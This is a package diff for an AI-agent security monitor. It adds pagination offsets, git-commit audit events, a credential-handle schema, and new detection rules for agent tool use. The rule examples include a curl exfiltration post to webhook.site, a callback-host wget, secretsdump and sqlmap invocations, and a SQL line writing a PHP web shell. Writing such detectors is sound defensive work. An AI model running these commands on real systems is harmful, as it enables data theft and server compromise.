@akasecurity/ai-tc-copilot 0.9.23 → 0.9.25
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -3
- package/plugin.json +1 -1
- package/scripts/content-retention.js +115 -22
- package/scripts/fail-open-count.js +91 -9
- package/scripts/history-sync.js +307 -70
- package/scripts/post-tool-use.js +409 -101
- package/scripts/pre-tool-use.js +409 -101
- package/scripts/scan-worker.js +90 -8
- package/scripts/session-start.js +387 -116
- package/scripts/sync.js +427 -120
- package/scripts/user-prompt-submit.js +409 -101
package/scripts/history-sync.js
CHANGED
|
@@ -8763,7 +8763,11 @@ var ListFindingTypesQuery = object({
|
|
|
8763
8763
|
// and so is not bounded by what any page happens to hold.
|
|
8764
8764
|
includeId: string2().optional(),
|
|
8765
8765
|
limit: coerce_exports.number().int().min(1).max(MAX_FINDING_TYPES_LIMIT).optional(),
|
|
8766
|
-
cursor: string2().optional()
|
|
8766
|
+
cursor: string2().optional(),
|
|
8767
|
+
// A row position to read from, for jumping to a page instead of stepping to
|
|
8768
|
+
// it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
|
|
8769
|
+
// from wherever it lands.
|
|
8770
|
+
offset: coerce_exports.number().int().min(0).optional()
|
|
8767
8771
|
});
|
|
8768
8772
|
var ListFindingTypesResponse = object({
|
|
8769
8773
|
totals: object({
|
|
@@ -8844,7 +8848,11 @@ var ListFindingInstancesQuery = object({
|
|
|
8844
8848
|
sessionId: string2().optional(),
|
|
8845
8849
|
from: iso_exports.datetime().optional(),
|
|
8846
8850
|
limit: coerce_exports.number().int().min(1).max(MAX_FLAT_FINDINGS_LIMIT).optional(),
|
|
8847
|
-
cursor: string2().optional()
|
|
8851
|
+
cursor: string2().optional(),
|
|
8852
|
+
// A row position to read from, for jumping to a page instead of stepping to
|
|
8853
|
+
// it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
|
|
8854
|
+
// from wherever it lands.
|
|
8855
|
+
offset: coerce_exports.number().int().min(0).optional()
|
|
8848
8856
|
});
|
|
8849
8857
|
var ListFindingInstancesResponse = object({
|
|
8850
8858
|
// Instances matching the filters across the whole scope, not just this
|
|
@@ -8916,7 +8924,11 @@ var ListFindingLocationsQuery = object({
|
|
|
8916
8924
|
// rather than a deep-link corner. Never affects totals, facets or the cursor.
|
|
8917
8925
|
includeId: string2().optional(),
|
|
8918
8926
|
limit: coerce_exports.number().int().min(1).max(MAX_FINDING_LOCATIONS_LIMIT).optional(),
|
|
8919
|
-
cursor: string2().optional()
|
|
8927
|
+
cursor: string2().optional(),
|
|
8928
|
+
// A row position to read from, for jumping to a page instead of stepping to
|
|
8929
|
+
// it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
|
|
8930
|
+
// from wherever it lands.
|
|
8931
|
+
offset: coerce_exports.number().int().min(0).optional()
|
|
8920
8932
|
});
|
|
8921
8933
|
var ListFindingLocationsResponse = object({
|
|
8922
8934
|
totals: object({
|
|
@@ -9409,7 +9421,13 @@ var AuditEventType = _enum([
|
|
|
9409
9421
|
// is doing — a write-through of the native host's in-memory tracker, so a
|
|
9410
9422
|
// second process (aka extension status) and a restarted host both have
|
|
9411
9423
|
// somewhere to read it back from.
|
|
9412
|
-
"capture_status"
|
|
9424
|
+
"capture_status",
|
|
9425
|
+
// One row per commit a session's checkout reached while a git command the
|
|
9426
|
+
// agent ran was running, hung off the session root. Its `attributes` follow
|
|
9427
|
+
// `GitCommitAttributes`: the commit id, the kind of HEAD move, the
|
|
9428
|
+
// attribution, and `scope_key`, the repository the command ran in; never
|
|
9429
|
+
// the branch, commit message, author or diff.
|
|
9430
|
+
"git_commit"
|
|
9413
9431
|
]).meta({ id: "AuditEventType" });
|
|
9414
9432
|
var AttributeBag = record(string2(), unknown());
|
|
9415
9433
|
var HostAttributes = object({
|
|
@@ -9517,6 +9535,13 @@ var ToolCallAttributes = object({
|
|
|
9517
9535
|
parent_uuid: string2().optional(),
|
|
9518
9536
|
run_key: string2().optional()
|
|
9519
9537
|
}).catchall(unknown());
|
|
9538
|
+
var GitCommitKind = _enum(["commit", "merge", "rebase", "cherry-pick", "am", "revert"]);
|
|
9539
|
+
var GitCommitAttributes = object({
|
|
9540
|
+
commit: string2().regex(/^[0-9a-f]{40}([0-9a-f]{24})?$/),
|
|
9541
|
+
kind: GitCommitKind,
|
|
9542
|
+
attribution: literal("command_window"),
|
|
9543
|
+
scope_key: string2().optional()
|
|
9544
|
+
}).catchall(unknown());
|
|
9520
9545
|
var CaptureAttributes = object({
|
|
9521
9546
|
// The harness/tool that produced the capture (`claude-code`, `cli`, …). A
|
|
9522
9547
|
// column on the legacy `events` table; here it rides the bag because a
|
|
@@ -11469,7 +11494,11 @@ var MAX_VAULT_PAGE_LIMIT = 200;
|
|
|
11469
11494
|
var ListVaultInventoryQuery = object({
|
|
11470
11495
|
limit: coerce_exports.number().int().min(1).max(MAX_VAULT_PAGE_LIMIT).optional(),
|
|
11471
11496
|
// Opaque; names the last row of the page just served.
|
|
11472
|
-
cursor: string2().optional()
|
|
11497
|
+
cursor: string2().optional(),
|
|
11498
|
+
// A row position to read from, for jumping to a page instead of stepping to
|
|
11499
|
+
// it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
|
|
11500
|
+
// from wherever it lands.
|
|
11501
|
+
offset: coerce_exports.number().int().min(0).optional()
|
|
11473
11502
|
});
|
|
11474
11503
|
var ListVaultInventoryResponse = object({
|
|
11475
11504
|
// Vaulted values across the whole store, not just this page — cursor-
|
|
@@ -11481,7 +11510,11 @@ var ListVaultInventoryResponse = object({
|
|
|
11481
11510
|
});
|
|
11482
11511
|
var ListVaultReuseQuery = object({
|
|
11483
11512
|
limit: coerce_exports.number().int().min(1).max(MAX_VAULT_PAGE_LIMIT).optional(),
|
|
11484
|
-
cursor: string2().optional()
|
|
11513
|
+
cursor: string2().optional(),
|
|
11514
|
+
// A row position to read from, for jumping to a page instead of stepping to
|
|
11515
|
+
// it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
|
|
11516
|
+
// from wherever it lands.
|
|
11517
|
+
offset: coerce_exports.number().int().min(0).optional()
|
|
11485
11518
|
});
|
|
11486
11519
|
var ListVaultReuseResponse = object({
|
|
11487
11520
|
// Reused values across the whole store — the number the section's claim
|
|
@@ -11497,9 +11530,15 @@ var ListVaultDerefsQuery = object({
|
|
|
11497
11530
|
// over a Server Action, which preserves the type, never as a URL param.
|
|
11498
11531
|
includeBatched: boolean2().optional(),
|
|
11499
11532
|
limit: coerce_exports.number().int().min(1).max(MAX_VAULT_PAGE_LIMIT).optional(),
|
|
11500
|
-
cursor: string2().optional()
|
|
11533
|
+
cursor: string2().optional(),
|
|
11534
|
+
// A row position to read from, for jumping to a page instead of stepping to
|
|
11535
|
+
// it. Takes precedence over `cursor`, and the page's `nextCursor` carries on
|
|
11536
|
+
// from wherever it lands.
|
|
11537
|
+
offset: coerce_exports.number().int().min(0).optional()
|
|
11501
11538
|
});
|
|
11502
11539
|
var ListVaultDerefsResponse = object({
|
|
11540
|
+
// Rows this filter selects across the whole trail, not just this page.
|
|
11541
|
+
totals: object({ derefs: number2().int().nonnegative() }),
|
|
11503
11542
|
items: array(VaultDeref),
|
|
11504
11543
|
nextCursor: string2().nullable(),
|
|
11505
11544
|
// Display/view-render rows the query hid, over the WHOLE trail rather than
|
|
@@ -12196,6 +12235,45 @@ var ConfigInventoryAck = object({
|
|
|
12196
12235
|
accepted: number2().int().nonnegative()
|
|
12197
12236
|
});
|
|
12198
12237
|
|
|
12238
|
+
// ../../packages/schema/src/zod/credential-handles.ts
|
|
12239
|
+
var CREDENTIAL_SLUG_SOURCE = "[a-z0-9](?:[a-z0-9-]{0,62}[a-z0-9])?";
|
|
12240
|
+
var CredentialSlug = string2().regex(
|
|
12241
|
+
new RegExp(`^${CREDENTIAL_SLUG_SOURCE}$`),
|
|
12242
|
+
"must be lower-case letters, digits and dashes"
|
|
12243
|
+
);
|
|
12244
|
+
var HANDLE_SOURCE = `\\[\\[aka:cred:(${CREDENTIAL_SLUG_SOURCE})\\]\\]`;
|
|
12245
|
+
function credentialHandleScanner() {
|
|
12246
|
+
return new RegExp(HANDLE_SOURCE, "g");
|
|
12247
|
+
}
|
|
12248
|
+
var CREDENTIAL_RESOLVE_BATCH_MAX = 20;
|
|
12249
|
+
var CREDENTIAL_VALUE_MAX_LENGTH = 65536;
|
|
12250
|
+
var AvailableCredential = object({
|
|
12251
|
+
slug: CredentialSlug,
|
|
12252
|
+
description: string2().max(500),
|
|
12253
|
+
/**
|
|
12254
|
+
* The value's sighting tokens under each accepted sighting-key version, so a
|
|
12255
|
+
* machine can recognise the value when it is pasted. Absent when the store
|
|
12256
|
+
* could not be read.
|
|
12257
|
+
*/
|
|
12258
|
+
lookups: array(string2().max(200)).max(SIGHTING_ALIASES_MAX + 1).optional()
|
|
12259
|
+
}).strict();
|
|
12260
|
+
var AvailableCredentialsResponse = object({ credentials: array(AvailableCredential) }).strict();
|
|
12261
|
+
var ResolveCredentialsRequest = object({
|
|
12262
|
+
slugs: array(CredentialSlug).min(1).max(CREDENTIAL_RESOLVE_BATCH_MAX).refine((slugs) => new Set(slugs).size === slugs.length, "slugs must be unique"),
|
|
12263
|
+
sessionId: string2().min(1).max(128).nullable()
|
|
12264
|
+
}).strict();
|
|
12265
|
+
var CredentialRefusalReason = _enum([
|
|
12266
|
+
"no_grant",
|
|
12267
|
+
"credential_not_found",
|
|
12268
|
+
"store_unavailable"
|
|
12269
|
+
]);
|
|
12270
|
+
var ResolveCredentialsResponse = object({
|
|
12271
|
+
resolved: array(
|
|
12272
|
+
object({ slug: CredentialSlug, value: string2().max(CREDENTIAL_VALUE_MAX_LENGTH) }).strict()
|
|
12273
|
+
),
|
|
12274
|
+
refused: array(object({ slug: CredentialSlug, reason: CredentialRefusalReason }).strict())
|
|
12275
|
+
}).strict();
|
|
12276
|
+
|
|
12199
12277
|
// ../../packages/schema/src/zod/credential-status.ts
|
|
12200
12278
|
var CredentialStatus = _enum(["rotation_overdue", "exposed"]).meta({ id: "CredentialStatus" });
|
|
12201
12279
|
|
|
@@ -16132,7 +16210,7 @@ function syncFailureRejectCondition(column = "sync_failure") {
|
|
|
16132
16210
|
}
|
|
16133
16211
|
|
|
16134
16212
|
// ../../packages/persistence/src/repositories/history-sync.ts
|
|
16135
|
-
var STRUCTURAL_EVENT_TYPES = ["session", "llm_call", "tool_call"];
|
|
16213
|
+
var STRUCTURAL_EVENT_TYPES = ["session", "llm_call", "tool_call", "git_commit"];
|
|
16136
16214
|
var TYPE_LIST = STRUCTURAL_EVENT_TYPES.map((t) => `'${t}'`).join(", ");
|
|
16137
16215
|
var CAPTURE_TYPE_LIST = OUTBOX_CAPTURE_TYPE_LIST;
|
|
16138
16216
|
var COUNTED_EVENT_TYPES = [
|
|
@@ -19871,7 +19949,7 @@ var SqliteFindingsRepository = class {
|
|
|
19871
19949
|
};
|
|
19872
19950
|
const limit = query.limit ?? DEFAULT_FINDING_TYPES_LIMIT;
|
|
19873
19951
|
const cursor = query.cursor === void 0 ? null : decodeGroupCursor(query.cursor);
|
|
19874
|
-
const start = cursor === null ? 0 : firstAfter(sorted, cursor);
|
|
19952
|
+
const start = query.offset ?? (cursor === null ? 0 : firstAfter(sorted, cursor));
|
|
19875
19953
|
const page = sorted.slice(start, start + limit);
|
|
19876
19954
|
const lastOnPage = page.at(-1);
|
|
19877
19955
|
const nextCursor = start + limit < sorted.length && lastOnPage ? encodeGroupCursor(lastOnPage) : null;
|
|
@@ -19965,7 +20043,7 @@ var SqliteFindingsRepository = class {
|
|
|
19965
20043
|
accumulator.add(row);
|
|
19966
20044
|
if (!matchesInstanceFilters(row, opts)) continue;
|
|
19967
20045
|
total += 1;
|
|
19968
|
-
if (!isPastCursor(row)) continue;
|
|
20046
|
+
if (query.offset === void 0 ? !isPastCursor(row) : total <= query.offset) continue;
|
|
19969
20047
|
if (items.length < limit) {
|
|
19970
20048
|
items.push(toInstanceDetail(row));
|
|
19971
20049
|
last = row;
|
|
@@ -20054,7 +20132,7 @@ var SqliteFindingsRepository = class {
|
|
|
20054
20132
|
}
|
|
20055
20133
|
}
|
|
20056
20134
|
sorted.sort(compareLocationOrder);
|
|
20057
|
-
const start = cursor === null ? 0 : firstLocationAfter(sorted, cursor);
|
|
20135
|
+
const start = query.offset ?? (cursor === null ? 0 : firstLocationAfter(sorted, cursor));
|
|
20058
20136
|
const page = sorted.slice(start, start + limit);
|
|
20059
20137
|
const lastOnPage = page.at(-1);
|
|
20060
20138
|
const nextCursor = start + limit < sorted.length && lastOnPage ? encodeLocationCursor(lastOnPage) : null;
|
|
@@ -22682,6 +22760,9 @@ function pageLimit(requested, fallback) {
|
|
|
22682
22760
|
if (requested === void 0) return fallback;
|
|
22683
22761
|
return Math.min(Math.max(1, Math.trunc(requested)), MAX_VAULT_PAGE_LIMIT);
|
|
22684
22762
|
}
|
|
22763
|
+
function pageOffset(requested) {
|
|
22764
|
+
return requested === void 0 ? 0 : Math.max(0, Math.trunc(requested));
|
|
22765
|
+
}
|
|
22685
22766
|
function encodeReuseCursor(payload) {
|
|
22686
22767
|
return Buffer.from(JSON.stringify(payload)).toString("base64url");
|
|
22687
22768
|
}
|
|
@@ -23029,7 +23110,8 @@ var SqliteSecretVaultRepository = class {
|
|
|
23029
23110
|
*/
|
|
23030
23111
|
listInventory(query = {}, now = Date.now()) {
|
|
23031
23112
|
const limit = pageLimit(query.limit, DEFAULT_VAULT_INVENTORY_LIMIT);
|
|
23032
|
-
const
|
|
23113
|
+
const offset = pageOffset(query.offset);
|
|
23114
|
+
const cursor = query.cursor === void 0 || query.offset !== void 0 ? null : decodeKeysetCursor(query.cursor);
|
|
23033
23115
|
const where = cursor === null ? "" : "WHERE (v.last_seen < :cursorLastSeen OR (v.last_seen = :cursorLastSeen AND v.pointer_id < :cursorPointerId))";
|
|
23034
23116
|
const rows = allRows(
|
|
23035
23117
|
this.db.prepare(
|
|
@@ -23043,11 +23125,12 @@ var SqliteSecretVaultRepository = class {
|
|
|
23043
23125
|
FROM secret_vault v
|
|
23044
23126
|
${where}
|
|
23045
23127
|
ORDER BY v.last_seen DESC, v.pointer_id DESC
|
|
23046
|
-
LIMIT :limit`
|
|
23128
|
+
LIMIT :limit OFFSET :offset`
|
|
23047
23129
|
),
|
|
23048
23130
|
bindParams({
|
|
23049
23131
|
now,
|
|
23050
23132
|
limit: limit + 1,
|
|
23133
|
+
offset,
|
|
23051
23134
|
...cursor === null ? {} : { cursorLastSeen: cursor.startedAtMs, cursorPointerId: cursor.id }
|
|
23052
23135
|
})
|
|
23053
23136
|
);
|
|
@@ -23071,7 +23154,8 @@ var SqliteSecretVaultRepository = class {
|
|
|
23071
23154
|
*/
|
|
23072
23155
|
listReuse(query = {}, now = Date.now()) {
|
|
23073
23156
|
const limit = pageLimit(query.limit, DEFAULT_VAULT_INVENTORY_LIMIT);
|
|
23074
|
-
const
|
|
23157
|
+
const offset = pageOffset(query.offset);
|
|
23158
|
+
const cursor = query.cursor === void 0 || query.offset !== void 0 ? null : decodeReuseCursor(query.cursor);
|
|
23075
23159
|
const after = cursor === null ? "" : `AND (v.occurrence_count < :cursorOccurrences
|
|
23076
23160
|
OR (v.occurrence_count = :cursorOccurrences AND v.pointer_id < :cursorPointerId))`;
|
|
23077
23161
|
const rows = allRows(
|
|
@@ -23086,11 +23170,12 @@ var SqliteSecretVaultRepository = class {
|
|
|
23086
23170
|
FROM secret_vault v
|
|
23087
23171
|
WHERE ${REUSED_PREDICATE} ${after}
|
|
23088
23172
|
ORDER BY v.occurrence_count DESC, v.pointer_id DESC
|
|
23089
|
-
LIMIT :limit`
|
|
23173
|
+
LIMIT :limit OFFSET :offset`
|
|
23090
23174
|
),
|
|
23091
23175
|
bindParams({
|
|
23092
23176
|
now,
|
|
23093
23177
|
limit: limit + 1,
|
|
23178
|
+
offset,
|
|
23094
23179
|
...cursor === null ? {} : { cursorOccurrences: cursor.occurrences, cursorPointerId: cursor.pointerId }
|
|
23095
23180
|
})
|
|
23096
23181
|
);
|
|
@@ -23115,7 +23200,8 @@ var SqliteSecretVaultRepository = class {
|
|
|
23115
23200
|
*/
|
|
23116
23201
|
listDerefs(query = {}) {
|
|
23117
23202
|
const limit = pageLimit(query.limit, DEFAULT_VAULT_DEREFS_LIMIT);
|
|
23118
|
-
const
|
|
23203
|
+
const offset = pageOffset(query.offset);
|
|
23204
|
+
const cursor = query.cursor === void 0 || query.offset !== void 0 ? null : decodeKeysetCursor(query.cursor);
|
|
23119
23205
|
const conditions = [];
|
|
23120
23206
|
if (query.includeBatched !== true) {
|
|
23121
23207
|
conditions.push(`reason NOT IN ('display', 'view-render')`);
|
|
@@ -23128,21 +23214,28 @@ var SqliteSecretVaultRepository = class {
|
|
|
23128
23214
|
this.db.prepare(
|
|
23129
23215
|
`SELECT id, pointer_id, at, target, reason, outcome, grant_id, pointer_count
|
|
23130
23216
|
FROM secret_vault_deref ${where}
|
|
23131
|
-
ORDER BY at DESC, id DESC LIMIT :limit`
|
|
23217
|
+
ORDER BY at DESC, id DESC LIMIT :limit OFFSET :offset`
|
|
23132
23218
|
),
|
|
23133
23219
|
bindParams({
|
|
23134
23220
|
limit: limit + 1,
|
|
23221
|
+
offset,
|
|
23135
23222
|
...cursor === null ? {} : { cursorAt: cursor.startedAtMs, cursorId: cursor.id }
|
|
23136
23223
|
})
|
|
23137
23224
|
);
|
|
23138
23225
|
const hasMore = rows.length > limit;
|
|
23139
23226
|
const page = hasMore ? rows.slice(0, limit) : rows;
|
|
23140
23227
|
const last = page[page.length - 1];
|
|
23141
|
-
const
|
|
23142
|
-
this.db
|
|
23143
|
-
|
|
23144
|
-
|
|
23228
|
+
const counts = getRow(
|
|
23229
|
+
this.db.prepare(
|
|
23230
|
+
`SELECT count(*) AS total,
|
|
23231
|
+
count(*) FILTER (WHERE reason IN ('display', 'view-render')) AS hidden
|
|
23232
|
+
FROM secret_vault_deref`
|
|
23233
|
+
)
|
|
23234
|
+
) ?? { total: 0, hidden: 0 };
|
|
23235
|
+
const includeBatched = query.includeBatched === true;
|
|
23236
|
+
const hiddenBatched = includeBatched ? 0 : counts.hidden;
|
|
23145
23237
|
return {
|
|
23238
|
+
totals: { derefs: includeBatched ? counts.total : counts.total - counts.hidden },
|
|
23146
23239
|
items: page.map((r) => ({
|
|
23147
23240
|
id: r.id,
|
|
23148
23241
|
pointerId: r.pointer_id,
|
|
@@ -26559,7 +26652,11 @@ function scanText(text, ruleset, context) {
|
|
|
26559
26652
|
}
|
|
26560
26653
|
|
|
26561
26654
|
// ../../packages/detections/src/pointer-shield.ts
|
|
26562
|
-
var SHIELDED_SOURCE =
|
|
26655
|
+
var SHIELDED_SOURCE = [
|
|
26656
|
+
POINTER_TOKEN_PATTERN.source,
|
|
26657
|
+
SIGHTING_TOKEN_PATTERN.source,
|
|
26658
|
+
credentialHandleScanner().source
|
|
26659
|
+
].join("|");
|
|
26563
26660
|
function shieldPointers(text) {
|
|
26564
26661
|
const spans = [];
|
|
26565
26662
|
let out = null;
|
|
@@ -26833,6 +26930,27 @@ var cloud_metadata_access_default = {
|
|
|
26833
26930
|
}
|
|
26834
26931
|
};
|
|
26835
26932
|
|
|
26933
|
+
// ../../rules/agent-egress/oast-c2-host.json
|
|
26934
|
+
var oast_c2_host_default = {
|
|
26935
|
+
specVersion: 1,
|
|
26936
|
+
id: "agent-egress/oast-c2-host",
|
|
26937
|
+
name: "Request to a webhook-catcher or out-of-band callback host",
|
|
26938
|
+
category: "custom",
|
|
26939
|
+
severity: "high",
|
|
26940
|
+
matcher: {
|
|
26941
|
+
type: "regex",
|
|
26942
|
+
pattern: `(?<![\\s\\S])[ \\t]*['"]?https?://(?:[^\\s/@]{1,100}@)?\\[?(?:(?:\\$\\([^)\\n]{1,60}\\)|[\\w-]{1,63})\\.){0,6}?(?:(?<!(?<![\\w-])docs\\.)webhook\\.site|pipedream\\.net|requestbin\\.(?:com|net)|interact\\.sh|oast\\.(?:pro|live|site|online|fun|me)|oastify\\.com|burpcollaborator\\.net|canarytokens\\.(?:com|org)|dnslog\\.cn|ceye\\.io)(?![\\w-]|\\.\\w)|\\b(?=(?:curl|wget|ncat|nc|socat|telnet|http|https|xh|aria2c|iwr|irm|Invoke-WebRequest|Invoke-RestMethod|nslookup|dig|host|drill|ping6?|getent|resolvectl)\\b)(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})(?:curl|wget|ncat|nc|socat|telnet|http|https|xh|aria2c|iwr|irm|Invoke-WebRequest|Invoke-RestMethod|nslookup|dig|host|drill|ping6?|getent|resolvectl)\\b(?!:)(?:[^\\n;|&\\\\]|(?<=[$<>]\\([^()\\n]{0,99})(?:[;|]|&&)(?=[^()\\n]{0,99}\\))|\\\\[\\s\\S]|&(?!&)){0,400}?(?:(?<=://(?:[^\\s/@]{1,100}@)?)|(?<=(?:^|[^\\s:,=])[ \\t]{1,16}['"]?)|(?<=(?:tcp|udp|ssl)[46]?:))\\[?(?:(?:\\$\\([^)\\n]{1,60}\\)|[\\w-]{1,63})\\.){0,6}?(?:(?<!(?<![\\w-])docs\\.)webhook\\.site|pipedream\\.net|requestbin\\.(?:com|net)|interact\\.sh|oast\\.(?:pro|live|site|online|fun|me)|oastify\\.com|burpcollaborator\\.net|canarytokens\\.(?:com|org)|dnslog\\.cn|ceye\\.io)(?![\\w-]|\\.\\w)|\\b(?=[pndbr])(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})(?:python[0-9.]{0,4}|node|deno|bun|ruby|perl|php|pwsh|powershell)\\b[^\\n]{0,400}?https?://(?:[^\\s/@]{1,100}@)?\\[?(?:(?:\\$\\([^)\\n]{1,60}\\)|[\\w-]{1,63})\\.){0,6}?(?:(?<!(?<![\\w-])docs\\.)webhook\\.site|pipedream\\.net|requestbin\\.(?:com|net)|interact\\.sh|oast\\.(?:pro|live|site|online|fun|me)|oastify\\.com|burpcollaborator\\.net|canarytokens\\.(?:com|org)|dnslog\\.cn|ceye\\.io)(?![\\w-]|\\.\\w)`,
|
|
26943
|
+
flags: "gim"
|
|
26944
|
+
},
|
|
26945
|
+
examples: [
|
|
26946
|
+
"curl -s -X POST https://webhook.site/6f1c2d3e-4a5b-6c7d-8e9f-0a1b2c3d4e5f -d @out.txt",
|
|
26947
|
+
"wget -qO- https://abc123.oast.fun/"
|
|
26948
|
+
],
|
|
26949
|
+
appliesTo: {
|
|
26950
|
+
eventKinds: ["tool_use"]
|
|
26951
|
+
}
|
|
26952
|
+
};
|
|
26953
|
+
|
|
26836
26954
|
// ../../rules/agent-egress/object-storage-file-upload.json
|
|
26837
26955
|
var object_storage_file_upload_default = {
|
|
26838
26956
|
specVersion: 1,
|
|
@@ -27771,6 +27889,27 @@ var object_storage_upload_default = {
|
|
|
27771
27889
|
}
|
|
27772
27890
|
};
|
|
27773
27891
|
|
|
27892
|
+
// ../../rules/command-risk/offensive-security-tool.json
|
|
27893
|
+
var offensive_security_tool_default = {
|
|
27894
|
+
specVersion: 1,
|
|
27895
|
+
id: "command-risk/offensive-security-tool",
|
|
27896
|
+
name: "Offensive security tool run from a command",
|
|
27897
|
+
category: "custom",
|
|
27898
|
+
severity: "high",
|
|
27899
|
+
matcher: {
|
|
27900
|
+
type: "regex",
|
|
27901
|
+
pattern: `\\b(?=(?:impacket-[a-z]{3,20}|(?:secretsdump|GetUserSPNs|GetNPUsers|ntlmrelayx|wmiexec|smbexec)(?:\\.py)?|(?:psexec|atexec|dcomexec)\\.py|mimikatz(?:\\.exe)?|Rubeus(?:\\.exe)?|SharpHound(?:\\.exe)?|bloodhound-python|kerbrute|(?:pypykatz|evil-winrm)|(?:crackmapexec|netexec|nxc)|(?:sqlmap|ncrack)(?:\\.py)?|(?:hydra|medusa)(?:\\.exe)?(?=[ \\t]+(?:-(?![hvV][ \\t]*(?:$|[;&|)]))[A-Za-z0-9]|['"]?[a-z0-9+-]{2,20}://|['"]?(?:[0-9]{1,3}(?:\\.[0-9]{1,3}){3}|\\[[0-9a-f:]{2,39}\\]))))(?![\\w-]))(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})(?:impacket-[a-z]{3,20}|(?:secretsdump|GetUserSPNs|GetNPUsers|ntlmrelayx|wmiexec|smbexec)(?:\\.py)?|(?:psexec|atexec|dcomexec)\\.py|mimikatz(?:\\.exe)?|Rubeus(?:\\.exe)?|SharpHound(?:\\.exe)?|bloodhound-python|kerbrute|(?:pypykatz|evil-winrm)|(?:crackmapexec|netexec|nxc)|(?:sqlmap|ncrack)(?:\\.py)?|(?:hydra|medusa)(?:\\.exe)?(?=[ \\t]+(?:-(?![hvV][ \\t]*(?:$|[;&|)]))[A-Za-z0-9]|['"]?[a-z0-9+-]{2,20}://|['"]?(?:[0-9]{1,3}(?:\\.[0-9]{1,3}){3}|\\[[0-9a-f:]{2,39}\\]))))(?![\\w-])|\\b(?=python[0-9.]{0,4}[ \\t])(?<=(?:^|[;&|({\\x60]|\\$\\(|\\b(?:ba|z|da)?sh[ \\t]{1,8}-l?c[ \\t]{1,8}['"])[ \\t]*(?:(?:sudo|doas|command|exec|nohup|time|env|xargs)[ \\t]+(?:(?:-[A-Za-z0-9]{1,8}(?:[ \\t]+[^\\s;&|]{1,64})?|[A-Za-z_]\\w{0,63}=[^\\s;&|]{0,64})[ \\t]+){0,3})?(?:[\\w.~-]*/){0,8})python[0-9.]{0,4}[ \\t]+(?:[\\w.~-]*/){0,8}(?:secretsdump|GetUserSPNs|GetNPUsers|ntlmrelayx|wmiexec|smbexec|psexec|atexec|dcomexec|sqlmap)\\.py(?![\\w-])|\\b(?:Invoke-(?:Kerberoast|Mimikatz|DCSync)|lsadump::(?:dcsync|sam|lsa|secrets)|sekurlsa::(?:logonpasswords|ekeys|tickets|wdigest|msv)|kerberos::(?:golden|ptt))(?![\\w-])`,
|
|
27902
|
+
flags: "gim"
|
|
27903
|
+
},
|
|
27904
|
+
examples: [
|
|
27905
|
+
"impacket-secretsdump -just-dc corp.example/admin@dc01.example",
|
|
27906
|
+
'sqlmap -u "https://shop.example/item?id=1" --batch'
|
|
27907
|
+
],
|
|
27908
|
+
appliesTo: {
|
|
27909
|
+
eventKinds: ["tool_use"]
|
|
27910
|
+
}
|
|
27911
|
+
};
|
|
27912
|
+
|
|
27774
27913
|
// ../../rules/command-risk/pkill-broad.json
|
|
27775
27914
|
var pkill_broad_default = {
|
|
27776
27915
|
specVersion: 1,
|
|
@@ -27849,6 +27988,27 @@ var rm_rf_home_or_shared_default = {
|
|
|
27849
27988
|
}
|
|
27850
27989
|
};
|
|
27851
27990
|
|
|
27991
|
+
// ../../rules/command-risk/sql-log-webshell.json
|
|
27992
|
+
var sql_log_webshell_default = {
|
|
27993
|
+
specVersion: 1,
|
|
27994
|
+
id: "command-risk/sql-log-webshell",
|
|
27995
|
+
name: "SQL statement that writes a web-executable script file",
|
|
27996
|
+
category: "custom",
|
|
27997
|
+
severity: "high",
|
|
27998
|
+
matcher: {
|
|
27999
|
+
type: "regex",
|
|
28000
|
+
pattern: `\\bSET[ \\t]{1,8}(?:(?:GLOBAL|PERSIST)[ \\t]{1,8}|@@(?:global|persist)\\.)(?:general|slow_query)_log_file[ \\t]{0,8}:?=[ \\t]{0,8}['"][^'"\\n]{1,200}\\.(?:jspx?|jspf|php[0-9]?|phtml|pht|phar|asp|aspx|ashx|asmx|cfm|shtml)(?=[ \\t.]{0,256}['"]|::\\$\\w{0,20}['"]|;[^'"/\\\\\\n]{0,200}['"])|\\bINTO\\s{1,8}(?:OUTFILE|DUMPFILE)\\s{1,8}['"][^'"\\n]{1,200}\\.(?:jspx?|jspf|php[0-9]?|phtml|pht|phar|asp|aspx|ashx|asmx|cfm|shtml)(?=[ \\t.]{0,256}['"]|::\\$\\w{0,20}['"]|;[^'"/\\\\\\n]{0,200}['"])`,
|
|
28001
|
+
flags: "gim"
|
|
28002
|
+
},
|
|
28003
|
+
examples: [
|
|
28004
|
+
"SET GLOBAL general_log_file = '/var/www/html/x1.jsp'",
|
|
28005
|
+
"SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/s.php'"
|
|
28006
|
+
],
|
|
28007
|
+
appliesTo: {
|
|
28008
|
+
eventKinds: ["tool_use"]
|
|
28009
|
+
}
|
|
28010
|
+
};
|
|
28011
|
+
|
|
27852
28012
|
// ../../rules/core-code-context/db-table-name.json
|
|
27853
28013
|
var db_table_name_default = {
|
|
27854
28014
|
